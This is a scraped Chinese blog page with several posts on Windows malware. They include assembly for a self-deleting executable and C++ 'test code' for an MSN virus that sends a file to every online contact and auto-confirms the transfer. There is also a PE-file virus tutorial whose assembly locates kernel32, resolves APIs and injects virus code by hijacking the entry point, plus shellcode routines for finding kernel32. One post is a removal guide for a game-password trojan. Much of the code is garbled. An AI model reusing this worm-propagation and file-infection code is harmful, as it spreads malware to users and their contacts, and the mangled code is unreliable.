出口参数:无;********************************************DeleteExecutableBF&&&&procLOCAL&&&&hFile&&&&&&&&&&&&&&&&:DWORDLOCAL&&&&len&&&&&&&&&&&&&&&&&&:DWORDLOCAL&&&&hHeap&&&&&&&&&&&&&&&&:DWORDLOCAL&&&&pszUnsetupPathname&& :DWORDLOCAL&&&&pszUnsetupPath&&&&&& :DWORDLOCAL&&&&pszBatFilePathname&& :DWORDLOCAL&&&&pBatFile&&&&&&&& &&&&:DWORDjmp nextcode&&&&szBatFileName&&&&&&&& &&&&&&&&BYTE "DelUS.bat", 0&&&&szOpen&&&&&&&&&&&&&&&&&&&&&&&&BYTE "open", 0&&&&szBKSlash&&&&&&&&&&&&&&&& &&&&BYTE "\", 0&&&&L1&&&&&&&&&&&&&&&&&&&&&&&&&&&&BYTE ":Repeat", 13, 10, 0&&&&L2A&&&&&&&&&&&&&&&&&&&&&&&&&& BYTE "del """, 0&&&&L2B&&&&&&&&&&&&&&&&&&&&&&&&&& BYTE """", 0&&&&L3A&&&&&&&&&&&&&&&&&&&&&&&&&& BYTE 13, 10, "if exist """, 0&&&&L3B&&&&&&&&&&&&&&&&&& &&&&&&&&BYTE """ goto Repeat", 13, 10, 0&&&&L4&&&&&&&&&&&&&&&&&&&&&&&&&&&&BYTE "rmdir """, 0&&&&L5&&&&&&&&&&&&&&&&&&&&&&&&&&&&BYTE """",13, 10, "del """, 0&&&&L6&&&&&&&&&&&&&&&&&&&&&&&&&&&&BYTE """",13, 10, 0nextcode:; 为字符串分配堆:invoke GetProcessHeapmov hHeap, eaxinvoke HeapAlloc, hHeap, NULL, 4 * MAX_PATH + 1000mov pszUnsetupPath, eaxadd eax, MAX_PATHmov pszUnsetupPath, eaxadd eax, MAX_PATHmov pszUnsetupPathname, eaxadd eax, MAX_PATH&&&&mov pszBatFilePathname, eaxadd eax, MAX_PATH&&&&&&&&mov pBatFile, eax; 创建一个批处理文件,用于删除我们的exe文件。当exe文件被删除后,这个批处理文件会自动删除自己,以及它所在的目录。; 得到 temp 目录的路径:invoke GetTempPath, MAX_PATH, pszBatFilePathnameinvoke lstrcat, pszBatFilePathname, addr szBatFileNameinvoke CreateFile, pszBatFilePathname, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,&&&&&&&&&&&&&&&&&& FILE_ATTRIBUTE_NORMAL or FILE_FLAG_SEQUENTIAL_SCAN, NULLmov hFile, eax.if (hFile != INVALID_HANDLE_VALUE); 得到我们的 exe 文件的全路径(包括文件名):invoke GetModuleFileName, NULL, pszUnsetupPathname, MAX_PATH; 得到我们的 exe 文件的路径(不包括文件名):invoke lstrcpy, pszUnsetupPath, pszUnsetupPathname; 找到路径最后的 ’\’ 并把它改成0mov edx, pszUnsetupPathmov ecx, edx.repeatmov al, byte ptr [edx].if al == 92 ; "\"mov ecx, edx.endifinc edx.until al == 0mov byte ptr [ecx+1], 0; Bat 文件的内容:; :Repeat; del "C:\Win95ADG\DelSelf.exe"; if exist "DelSelf.exe" goto Repeat; rmdir "C:\Win95ADG"; del "c:\%temppath%\DelUS.bat"invoke lstrcat, pBatFile, addr L1invoke lstrcat, pBatFile, addr L2Ainvoke lstrcat, pBatFile, pszUnsetupPathnameinvoke lstrcat, pBatFile, addr L2Binvoke lstrcat, pBatFile, addr L3Ainvoke lstrcat, pBatFile, pszUnsetupPathnameinvoke lstrcat, pBatFile, addr L3Binvoke lstrcat, pBatFile, addr L4invoke lstrcat, pBatFile, pszUnsetupPathinvoke lstrcat, pBatFile, addr L5invoke lstrcat, pBatFile, pszBatFilePathnameinvoke lstrcat, pBatFile, addr L6; 创建 bat 文件:invoke lstrlen, pBatFilemov len, eaxinvoke WriteFile, hFile, pBatFile, len, addr len, NULLinvoke CloseHandle, hFile; 现在在后台执行我们的 bat 文件:invoke ShellExecute, NULL, addr szOpen, pszBatFilePathname, NULL, NULL, SW_HIDE.endif; 释放堆:invoke HeapFree, hHeap, NULL, pszUnsetupPathreturn:; 结束啦!retDeleteExecutableBF&&&&endpend main;********************&&&&over&&&&********************posted @
11:04 U2U 阅读(216) 评论(0)
编辑MSN病毒原理及测试代码&前段时间MSN病毒非常流行,它的原理其实很简单,最主要的工作就是操控MSN,其实这个很简单,微软有公开的接口让你用,所以我就不多说了,直接进入正题。下面是测试代码,只有通过MSN传送文件部分 CODE:#include "stdafx.h"#include &stdio.h&#include &windows.h&#include "msgruaid.h" //这两个头文件就是接口的定义#include "msgrua.h" //有兴趣的同学可以在网上找找(没找着可以找我要)#include &comutil.h&int main(int argc, char* argv[]){ IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendNIMessengerContact *MsnCIMessengerContacts *MsnCIMessengerWindow *pIMsnW__MIDL___MIDL_itf_msgrua_ dwSVARIANT vaTBSTR bstrFileNchar *szOpenDchar szMsnWindowsClass[] = "IMWindowClass";char szButtonText[] = "打开(&O)";HWND hWnd = NULL, hBtn = NULL;DWORD dwControlId = 0;char szCurDir[MAX_PATH], szBuf[MAX_PATH];CoInitialize(0); //初始化COM库CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //创建一个实例pIMessenger-&get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表pIMessenger-&get_Window((IDispatch**)&pIMsnWindow);long nCMsnContacts-&get_Count(&nCount); //得到好友数for (int i = 0; i & nC i++){ MsnContacts-&Item(i, (IDispatch**)&MsnContact);MsnContact-&get_SigninName(&pbstrName); //账号MsnContact-&get_FriendlyName(&bstrFriendName); //签名szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);MsnContact-&get_Status(&dwStatus);if (dwStatus == MISTATUS_ONLINE) //判断是否在线{ GetCurrentDirectory(MAX_PATH, szCurDir);lstrcat(szCurDir, "\\");lstrcat(szCurDir, "TestMsn.exe");lstrcpy(szBuf, "发送文件给 ");lstrcat(szBuf, szOpenDlg);bstrFileName = _com_util::ConvertStringToBSTR(szCurDir);vaTemp.vt = VT_BSTR;vaTemp.bstrVal = pbstrNpIMessenger-&SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //发送文件do { hWnd = FindWindow(NULL,szBuf);hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);& hBtn));dwControlId &&= 16;dwControlId |= 1;PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn));keybd_event(VK_RETURN, 0, 0, 0);keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);}MsnContact-&Release();MsnContacts-&Release();pIMessenger-&Release(); //释放相关资源CoUninitialize();ExitProcess(0);return 0;}posted @
11:02 U2U 阅读(137) 评论(0)
编辑关于PE文件病毒的一点心得&PE文件病毒虽然因为传播不及蠕虫已经很少独立存在了,但是仍然有很多病毒把他的感染部分作为一个功能.而且学习PE文件病毒可以让我们对PE的格式更好的了解,而加壳程序的外壳部分也运用到了和PE文件病毒类似的技术,所以还是可以了解下的我也是刚学习这方面的东西,就把一点点心得写了下来.参考了罗云彬的&windows环境下32位汇编语言程序设计&在下菜鸟一只,望高手指教~首先说说PE文件病毒的工作方式.一个PE文件病毒基本上有这几个功能:1)获取kernel32.dll的基地址2)通过所获得的kernel32的基地址通过dll的PE文件格式中的输出表获得以后要使用到的API的地址,并将他们存放在变量或是栈中,将来所调用的API直接通过CALL这些地址来实现.3)查找要感染的文件并获得他们的基地址(通过CreateFile,CreateFileMapping,ViewOfMapFile将文件打开,当然调用的是getapi所找到的地址。其他过程和一般的程序没什么区别,所以就不写在这里了)4)通过获得的文件的基地址来根据文件的PE文件格式来将病毒代码注入到该文件中,在这里有两种方法,一是通过给程序添加一个节(section)来将病毒注入,另一种是选取一个未用完的节(因为节在内存中是按1000为单位对齐的).&&&当然了,病毒不可能只是复制自己而什么都不做,不然的话就没有破坏性了...在代码里都会有一段用来做点坏事~~比如开个后门~~&&&好了,我们来具体看看这些有趣的东西~~~嘿嘿第一个部分,获取K32的基地址_GetK32&proc&&&&&&&&&local&@dwReturn&&&&&&&&pushad&&&&&&&&mov&&&@dwReturn,0       ;返回值,先设为0(即false)&&&&&&&&mov&&&edi,_dwKernelRet   &&&;这里的_dwKernel32Ret 是[esp],当程序通过ret指令结&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;束的时候,系统会通过调用 CreateProcess()函数来启动进&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;程,这时的堆栈中所存放的值就是Kernel32所在的那部分 &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;地址段中的一个地址。因此,如果我们在程序中的开头部&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;分取出[esp]的值,就能通过这个值定位 kernel32的基地&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;址            &&&&&&&&and&&&edi,0ffff0000h&&&&&&&&&&&;因为WINDOWS是分页系统,4K一页,所以这条语句就是将 &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;edi指向该页的基地址@1:&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;由于分页系统中模块加载都是从每一页的页首开始,所以&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;基地址总每页的页首地址&&&&&&&&cmp&word&ptr&[edi],'ZM'&&&&&&&&;这一段是判断是否到达K32的基地址&&&&&&&&jnz&@1&&&&&&&&mov&esi,edi&&&&&&&&add&esi,[esi+003ch]&&&&&&&&cmp&word&ptr&[esi],'EP'&&&&&&&&mov&@dwReturn,edi&&&&&&&&jz&@2&&&&&&&&&&&&&&&&&&&&&&&&&;确认找到的是K32的基地址,跳&&&&&&&&sub&edi,010000h&&&&&&&&&&&&&&&;不是K32的基地址,则查看是不是在前一页&&&&&&&&&&&&&&&&&&&&&&cmp&edi,h&&&&&&&&&&&&&&&&&&&&jb&@2&&&&&&&&&&&&&&&&&&&&&&&&&;如果小于则不查找,因为K32不会在小于 &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;前的页,在这里为了简单没有考虑出错情况,一&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;般出错的话就直接结束吧&&&&&&&&jmp&@1@2:&&&&&add&esp,0ch&&&&&&&&popad&&&&&&&&mov&eax,@dwReturn&&&&&&&&&&&&&;将找到的K32的基地址给EAX返回&&&&&&&&ret_GetK32&endp第2部分,GetApi部分_GetApi&proc&&&&&&&&&&&&&&&&&&&&&&&&&&;输入ESI(指向一个API名字)输出该API的地址&&&&&&&&mov&edx,esi&&&&&&&&&&&&&&&&&&&;先将该API名字的首地址备份个@1:&&&&&cmp&byte&ptr&[esi],0&&&&&&&&&&;这一段是获取API名字的长度,因为以0作为字符串结束的 &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;标记,所以比较esi所指地址的值是否为0来判断是否是字&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;符串的结束&&&&&&&&jz&@2&&&&&&&&&&&&&&&&&&&&&&&&&;是,跳&&inc&esi&&&&&&&&&&&&&&&&&&&&&&&;不是则让ESI指向下一个字符,继续判断&&jmp&@1@2的目的就是获取,输出地址表eat,存放输出的API的名字的数组ent和输出序数表eot的VA。之所以要取这3个是因为eat[x]的所对应的 API并不就是ent[x]对应的API.实际上他们3者的API对应关系是ent[x]'API=eat[eot[x]]'API@2:&&&&&inc&esi&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&sub&esi,edx&&&&&&&&&&&&&&&&&&&;esi-edx就是API的字符串长度了&&mov&ecx,esi&&xor&eax,eax&&&&&&&&mov&count,ax&&&&&&&&&&&&&&&&&&;COUNT存放所输入的API在ENT的数组序号(即对应关系中的&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;X)&&mov&esi,hDllKernel32&&&&&&&&&&&&add&esi,3ch&&&&&&&&&&&&&&&&&&&;即让ESI指向NT头,3c是dos头的长度&&mov&esi,[esi+78h]&&&&&&&&&&&&&;让ESI指向DATA&DIRECTORY数组的首地址(这个值是RVA)&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;由于输出表是放在数组的第一个,所以所指的这个数组的 &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;首地址的RVA就是输出表的首地址的RVA&&add&esi,hDllKernel32&&&&&&&&&&;输出表的VA&&add&esi,1ch&&&&&&&&&&&&&&&&&&&;ESI指向AddressOfFunctions&&&&&&&&lodsd&&&&&&&&&&&&&&&&&&&&&&&&&;读取AddressOfFunctions的内容&&&&&&&&&&&&add&eax,hDllKernel32&&&&&&&&&&;EAT(输出地址表)的VA&&mov&eatVA,eax&&lodsd&&&&&&&&&&&&&&&&&&&&&&&&&;读取AddressOfNames的内容&&add&eax,hDllKernel32&&&&&&&&&&;ENT(存放输出的API的名字的数组)&&mov&entVA,eax&&&&&&&&&&&&&&&&&&&lodsd&&&&&&&&&&&&&&&&&&&&&&&&&;读取输出序数表EOT的RVA&&add&eax,hDllKernel32&&&&&&&&&&;VA&&mov&OrdinalVA,eax&&mov&esi,entVA而@3就是先比较所要得到地址的API名和ENT中的各名字对比找到EAT,ENT,EOT对应关系中的X,然后得到该API的地址@3:&&&&&push&esi&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&lodsd&&&&&&&&add&eax,hDllKernel32&&;数组指针&&mov&esi,eax&&mov&edi,edx&&push&ecx&&&&&&&&&&&&&&;该API名字的长度&&cld&&rep&cmpsb&&&&&&&&&&&&&;比较这时数组指针所指的API名是否是输入的那个API名&&pop&ecx&&jz&@4&&&&&&&&&&&&&&&&&;是,跳&&pop&esi&&add&esi,4&&&&&&&&&&&&&;不是,指向下一个数组中的API名字继续比较&&inc&Count&&&&jmp&@3@4:&&&&&pop&esi&&&&&&&&mov&eax,Count&&&&&&&&&;进行对应关系的转换&&shl&eax,1&&add&eax,OrdinalVA&&&&;EAX中地址存放的就是EOT[X]&&xor&esi,esi&&&&&&&&xchg&eax,esi&&&&&&&&lodsw&&shl&eax,2&&add&eax,eatVA&&&&&&&&&mov&esi,eax&&lodsd&&&&&&&&&&&&&&&&;读取eat[eot[x]]的内容(API的RVA地址)&&add&eax,hDllKernel32&;VA&&ret;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&_GetApis&proc&&&&&&&&&&&&&&&;输入的是ESI(指向存放API名字的数组)和EDI(指向存放&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;API函数所在地址的数组)@1:&&&&&&push&esi&&&push&edi&&&call&_GetApi&&&pop&edi&&&pop&esi&&&stosd@2:&&&&&&cmp&byte&ptr&[esi],0&&&&;判断是否是一个API名的结束&&&&&&&&&jz&@3&&&inc&esi&&&jmp&@2@3:&&&&&&cmp&word&ptr&[esi],0bbh&;判断是否是数组的结束&&&&&&&&&jz&@4&&&&&&&&&&&&&&&&&&&;是,则结束&&&inc&esi&&&&&&&&&&&&&&&&&;不是,指向下一个API名,继续查找他的地址&&&jmp&@1@4:&&&&&&ret_GetApis&endp;&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&第3部分:感染~~如之前所讲的,感染有两种方式,在这里我们采用了第一种方式。这个函数的工作方式是这样的:1)将代码添加到一个新节中,我们先将一个指针指向文件中的最后的一个节的结尾,从这里把我们的代码写到后面。另一个指针指向到最后的那个节对应的 section&header修改PointerToRawData和SizeOfRawData让它指向的是我们添加的那个节。2)记录下未感染的OEP,因为在我们的代码结束的时候要让宿主程序正常执行(除非你想让人家知道自己被感染了。。。)所以我们要先记录他的OEP,在我们程序结束的时候运用一个JMP跳过去。3)修改nt头中的AddressOfEntryPoint,让它指向的是我们的添加的代码_Inject&proc&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;lpFile是文件的基地址,lpPEHead是nt头&&&&&&&&mov&esi,_lpPEHead&&mov&edi,_lpPEHead&&movzx&eax,[esi+06h]&&&&&&&&&&&&&&&&;NumberOfSections&&dec&eax&&mov&ecx,28h&&&&&&&&&&&&&&&&&&&&&&&&;28h为一个section&header的长度&&&&&&&&&&&&&&&&&&&&&&&&&&mul&ecx&&&&&&&&&&&&&&&&&&&&&&&&&&&&;eax中为所有section&header部分的长度&&add&esi,eax&&add&esi,78h&&&&&&&&&&&&&&&&&&&&&&&&;减去data_directory的nt&header长度&&mov&edx,[edi+74h]&&shl&edx,3&&&&&&&&&&&&&&&&&&&&&&&&&&;edx存放计算出的data_directory长度&&add&esi,edx&&&&&&&&&&&&&&&&&&&&&&&&;esi指向了最后一个section&header&&mov&_Oldep,[edi+28h]&&&&&&&&&&&&&&&;存下AddressOfEntryPoint&&mov&_ImageBase,[edi+34h]&&&&&&&&mov&_SizeOfRawData,[esi+10h]&&mov&_PointerToRawData,[esi+14h]&&mov&edx,_PointerToRawData&&add&edx,_SizeOfRawData&&mov&_AllSecHeadLength,edx&&&&&&&&&&&&&mov&eax,_SizeOfRawData&&add&eax,[esi+0ch]&&&&&&&&&&&&&&&&&&&;+VA,则在eax所指的地址添加病毒代码,且此时的EAX为new&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&;ep&&&&&&&&mov&_Newep,eax&&mov&[edi+28h],eax&&&&&&&&&&&&&&&&&&&;将旧的ep覆盖为新的&&&&&&&&mov&eax,[esi+10h]&&&&&&&&&&&&&&&&&&&;&&invoke&_Align,_dwVirusSize,[esi+3ch]&;将我们的节对齐&&mov&[esi+08h],eax&&&&&&&&&&&&&&&&&&&;更新对齐后的SIZEOFRAWDATA和VIRTUALSIZE&&mov&[esi+10h],eax&&&&&&&&add&eax,[esi+0ch]&&&&&&&&&&&&&&&&&&&&;eax=size&of&image(加上了新加的节的长度)&&mov&[edi+50h],eax&&or&&dword&ptr&[esi+24h],0a0000020h&&&;该节属性定为可执行代码&&mov&dword&ptr&[edi+4ah],"Zalone"&&&&&;节的名字enolaZ~~~~~~&&lea&esi,[ebp+virus_start]&&&&&&&&&&&&;把我们的代码移进去&&mov&edx,_AllSecHeadLength&&xchg&edi,edx&&add&edi,_lpFile&&mov&ecx,virus_size&&repnz&movsb&&&&&&&&&&&&&&&&&&&&&&&&&&;写代码的循环&&jmp&UnMapFile&&&&&&&&&&&&&&&&&&&&&&&&;完成,关闭这个文件&&&&&&&&retInjectFile&endp好了,关键的部分就是这个样子,主体部分我觉得其实是最简单的,所以没贴出来.感觉代码还不是很优化,另外这个东西也没有一些反调试或是隐藏自己的方法. 另外在对eot,ent,eat那部分感觉的讲解还不是很清晰,不过那个表达式是很清晰的说明了,可能是好久没写过作文了吧...posted @
11:01 U2U 阅读(231) 评论(1)
编辑“落雪” Winlogon.exe病毒的查杀方法&这个进程是不是一个传奇世界程序的图标使用51破解版传家宝会生产一个WINLOGON.EXE进程 正常的winlogon系统进程,其用户名为“SYSTEM” 程序名为小写winlogon.exe。 而伪装成该进程的木马程序其用户名为当前系统用户名,且程序名为大写的WINLOGON.exe。 进程查看方式 ctrl+alt+del 然后选择进程。正常情况下有且只有一个winlogon.exe进程,其用户名为“SYSTEM”。如果出现了两个winlogon.exe,且其中一个为大写,用户名为当前系统用户的话,表明可能存在木马。 这个木马非常厉害,能破坏掉木马克星,使其不能正常运行。目前我使用其他杀毒软件未能查出。 那个WINDOWS下的WINLOGON.EXE确实是病毒,但是,她不过是这个病毒中的小角色而已,大家打开D盘看看是否有一个pagefile的 DOS指向文件和一个autorun.inf文件了,呵呵,当然都是隐藏的,删这几个没用的,因为她关联了很多东西,甚至在安全模式都难搞,只要运行任何程序,或者双击打开D盘,她就会重新被安装了,呵呵,这段时间很多人被盗就是因为这个破解的传家宝了,而且杀毒软件查不出来,有人叫这个病毒为 ”落雪“ 是专门盗传奇传奇世界的木马,至于会不会盗其他帐号如QQ,网银就看她高兴了,呵呵,估计也都是一并录制。不怕毒和要减少损失的最好开启防火墙阻止除了自己信任的几个常用任务出门,其他的全部阻挡,当然大家最好尽快备份,然后关门杀毒 包括方新等修改过的51pywg传家宝,和他们破解的其他一切外挂,这次嫌疑最大的是51PYWG,至于其他合作网站估计也逃不了关系,特别是方新网站,已经被证实过多次在网站放木马,虽然他解释是被黑了,但是不能排除其他可能,特别小心那些启动后连接网站的外挂,不排除启动器本身就有毒,反正一句话,这种启动就连接某网站的破解软件最容易放毒,至于什么时候放,怎么方,比如一天放几个小时,都要看他怎么爽,用也尽量用那种完全本地破解验证版的,虽然挂盟现在好像还没发现被放马或者自己放,但是千万小心,,最近传奇世界传奇N多人被盗号,目标直指这些网站,以下是最近特别毒的 WINLOGON.EXE盗号病毒清除方法,注意这个假的WINLOGON.EXE是在WINDOWS下,进程里头表现为当前用户或 ADMINISTRATOR.另外一个 SYSTEM的winlogon.exe是正常的,那个千万不要乱删,看清楚了,前面一个是大写,后面一个是小写,而且经部分网友证实,此文件连接目的地为河南。 解决“落雪”病毒的方法 症状:D盘双击打不开,里面有autorun.inf和pagefile.com文件 做这个病毒的人也太强了,在安全模式用Administrator一样解决不了!经过一个下午的奋战才算勉强解决。我没用什么查杀木马的软件,全是手动一个一个把它揪出来把他删掉的。它所关联的文件如下,绝大多数文件都是显示为系统文件和隐藏的。所以要在文件夹选项里打开显示隐藏文件。 D盘里就两个,搞得你无法双击打开D盘。C盘里盘里的就多了! D:\autorun.inf D:\pagefile.com C:\Program Files\Internet Explorer\iexplore.com C:\Program Files\Common Files\iexplore.com C:\WINDOWS\1.com C:\WINDOWS\iexplore.com C:\WINDOWS\finder.com C:\WINDOWS\Exeroud.exe(忘了是不是这个名字了,红色图标有传奇世界图标的) C:\WINDOWS\Debug\*** Programme.exe(也是上面那个图标,名字忘了-_- 好大好明显非隐藏的) C:\Windows\system32\command.com 这个不要轻易删,看看是不是和下面几个日期不一样而和其他文件日期一样,如果和其他文件大部分系统文件日期一样就不能删,当然系统文件肯定不是这段时间的。 C:\Windows\system32\msconfig.com C:\Windows\system32\regedit.com C:\Windows\system32\dxdiag.com C:\Windows\system32\rundll32.com C:\Windows\system32\finder.com C:\Windows\system32\a.exe 对了,看看这些文件的日期,看看其他地方还有没有相同时间的文件还是.COM结尾的可疑文件,小心不要运行任何程序,要不就又启动了,包括双击磁盘 还有一个头号文件!WINLOGON.EXE!做了这么多工作目的就是要干掉她!!! C:\Windows\WINLOGON.EXE 这个在进程里可以看得到,有两个,一个是真的,一个是假的。 真的是小写winlogon.exe,(不知你们的是不是),用户名是SYSTEM, 而假的是大写的WINLOGON.EXE,用户名是你自己的用户名。 这个文件在进程里是中止不了的,说是关键进程无法中止,搞得跟真的一样!就连在安全模式下它都会 呆在你的进程里!我现在所知道的就这些,要是不放心,就最好看一下其中一个文件的修改日期,然后用“搜索”搜这天修改过的文件,相同时间的肯定会出来一大堆的,连系统还原夹里都有!!这些文件会自己关联的,要是你删了一部分,不小心运行了一个,或在开始-运行里运行msocnfig,command,regedit这些命令,所有的这些文件全会自己补充回来! 知道了这些文件,首先关闭可以关闭的所有程序,打开程序附件里头的WINDOWS资源管理器,并在上面的工具里头的文件夹选项里头的查看里设置显示所有文件和文件假,取消隐藏受保护操作系统文件,然后打开开始菜单的运行,输入命令 regedit,进注册表,到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run 里面,有一个Torjan pragramme,这个明摆着“我是木马”,删!! 然后注销! 重新进入系统后,打开“任务管理器”,看看有没rundll32,有的话先中止了,不知这个是真还是假,小心为好。到D盘(注意不要双击进入!否则又会激活这个病毒)右键,选“打开”,把autorun.inf和pagefile.com删掉,然后再到C盘把上面所列出来的文件都删掉!中途注意不要双击到其中一个文件,否则所有步骤都要重新来过! 然后再注销。 我在奋战过程中,把那些文件删掉后,所有的exe文件全都打不开了,运行cmd也不行。 然后,到C:\Windows\system32 里,把cmd.exe文件复制出来,比如到桌面,改名成cmd.com 嘿嘿 我也会用com文件,然后双击这个COM文件 然后行动可以进入到DOS下的命令提示符。 再打入以下的命令: assoc .exe=exefile (assoc与.exe之间有空格) ftype exefile="%1" %* 这样exe文件就可以运行了。 如果不会打命令,只要打开CMD.COM后复制上面的两行分两次粘贴上去执行就可以了。 但我在弄完这些之后,在开机的进入用户时会有些慢,并会跳出一个警告框,说文件"1"找不到。(应该是Windows下的1.com文件。),最后用上网助手之类的软件全面修复IE设置 最后说一下怎么解决开机跳出找不到文件“1.com”的方法: 在运行程序中运行“regedit”,打开注册表,在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]中 把"Shell"="Explorer.exe 1"恢复为"Shell"="Explorer.exe" 大功告成!大家分享一下吧!落雪木马专杀工具 V1.0绿色特别版 游戏大盗病毒江民专杀落雪”木马也叫“游戏大盗”( Trojan/PSW.GamePass),由VB 程序语言编写,通过 nSPack 3.1 加壳处理(即通常所说的“北斗壳”North Star),该木马文件图标一般是红色的图案,伪装成网络游戏的登陆器。病毒运行后,在C盘program file以及windows目录下生成winlogon.exe、regedit.com等14个病毒文件,病毒文件之多比较少见,,事实上这14个不同文件名的病毒文件系同一种文件,“落雪”之名亦可能由此而来。病毒文件名被模拟成正常的系统工具名称,但是文件扩展名变成了 .com。江民反病毒工程师分析,这是病毒利用了Windows操作系统执行.com文件的优先级比EXE文件高的特性,这样,当用户调用系统配置文件 Msconfig.exe的时候,一般习惯上输入 Msconfig,而这是执行的并不是微软的Msconfig.exe程序,而是病毒文件 Msconfig.com ,病毒作者的“良苦用心”由此可见。病毒另一狡诈之处还有,病毒还创建一名为winlogon.exe的进程,并把 winlogon.exe 的路径指向c:\windows\winlogon.exe,而正常的系统进程路径是C:\WINDOWS\system32\ winlogon.exe,以此达到迷惑用户的目的。PS:根据验证确实有效果  :)posted @
10:59 U2U 阅读(842) 评论(2)
编辑获取Kernel32基址的几种方法&以下~Delphi源码1.这个代码在我的~无IAT程序中使用过当时时间仓促没有进行太多的修改~所以不支持Win9x CODE: asmmov eax,fs:$30mov eax,[eax + $0c]mov esi,[eax + $1c]lodsdmov eax,[eax+$08]&& //此时EAX中保存的就是~K32的基址了 [Copy to clipboard] 2.加强版上面的版本只适合WinNT系统下面增加了Win9x CODE: asmmov eax,fs:[30h]test eax,eaxjs @@os_9x@@os_nt:mov eax,[eax+0ch]mov esi,[eax+1ch]lodsdmov eax,[eax+8]jmp @@finished@@os_9x:mov eax,[eax+34h]lea eax,[eax+7ch]mov eax,[eax+3ch]@@finished://程序执行到这里的时候~EAX保存的就是K32的基址 [Copy to clipboard] 获取~完K32基址以后就可以搜索API了其实还有好多方法~个人不太喜欢SEH~太麻烦了~ 请高手补充~谢谢~+++++++++++++++++++++++++++++++++++++++++++++++++++++Anskya写了用PEB搜索,这里利用SEH搜索***************************************************************************************GetKernel32 procmov esi,fs:[0] &&&&&&& lodsd FindUnExcept: &&&&&&& cmp [eax],0xffffffff &&&&&&& je FindedUnExcept&& //如果是异常链的最后一个节点 &&&&&&& mov eax,[eax]&&&& //如果不是异常链的最后一个节点,则向前遍历 &&&&&&& jmp FindUnExcept FindedUnExcept: &&&&&&& mov eax,[eax+0x04]&& //获得UnHhndlerExceptFilter函数地址,该函数位于KERNEL32.DLL中. FindMZ_PE: &&&&&&& and eax,0xffff0000&& //根据PE执行文件的64K字节齐特征,加快查找速度 &&&&&&& cmp word ptr [eax],'ZM'//根据PE可执行文件头部特征确定是否找到KERNEL32.DLL基址. &&&&&&& jne MoveUp&&&& //如果与PE可执行文件头部特征不符,继续则向上查找 &&&&&&& mov ebx,[eax+0x3c] &&&&&&& add ebx,eax &&&&&&& cmp word ptr [ebx],'EP' &&&&&&& jne MoveUp&&&& //如果与PE可执行文件头部特征不符,继续则向上查找 &&&&&&& jmp FindOK&&&& //如果与PE可执行文件头部特征相符则认为已经找到了KERNEL32.DLL的基址,并能过eax返回MoveUp: &&&&&&& dec eax&&&& //向上查找 &&&&&&& jmp FindMZ_PE FindOK: &&&&&&& ret GetKernel32 endp************************************************************************************下面一个用暴力搜索的方法获得;转载自“老罗的缤纷天地”(http://www.luocong.com/);函数功能:查找 Kernel32.dll 的基地址 (暴力搜索内存);*******************************************************************GetKernelBase&& proc uses esi edi dwKernelRet:DWORD& LOCAL dwReturn: DWORD & mov edi, dwKernelRet&&&&&&&&&& ; edi = 堆栈顶& and edi, 0ffff0000h&&&&&&&&&& ; 用 AND 获得初始页& .while TRUE&&& .if word ptr [edi] == IMAGE_DOS_SIGNATURE&&&& ; 等于“MZ”吗?&&&&&&& mov esi, edi&&&&&&&&&&&&&&&&&&&& ; Yes, next...&&&&&&& add esi, [esi + IMAGE_DOS_HEADER.e_lfanew] ; 就是 esi + 3ch&&&&&&& .if word ptr [esi] == IMAGE_NT_SIGNATURE&& ; 等于“PE”吗?&&&&&&&&& mov dwReturn, edi&&&&&&&&&&&&&& ; Yes, we got it.&&&&&&&&& .break&&&&&&& .endif&&& .endif&&& ;以下等同于sub edi, 010000h,即每次减少64k:&&& dec edi&&& xor di, di&&& .break .if edi & h&& ; 基地址一般不可能小于h& .endw& mov eax, dwReturn & retGetKernelBase&& endp 只截取了这一段,有兴趣的可以去作者主页看看++++++++++++++++++++++++++++++++++++++++++[原创灌水]Get kerne32 Base----通用代码(支持WIn32 All) 1.第一种老方法PEB获取 CODE: GetK32basePEB:& pushad& sub eax,eax& mov 